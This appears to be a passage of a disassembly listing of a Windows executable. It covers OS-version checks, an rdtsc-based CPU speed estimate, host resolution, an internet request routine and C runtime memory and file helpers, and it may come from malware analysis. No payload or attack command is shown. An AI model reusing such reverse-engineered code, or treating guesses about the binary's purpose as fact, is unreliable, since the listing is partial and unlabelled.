--------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26705B3h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h call near ptr 26C055Ah nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi call near ptr 2720000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 271158Ah push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2820000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 nop call near ptr 2790000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2830000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2830000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2830000h nop test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push 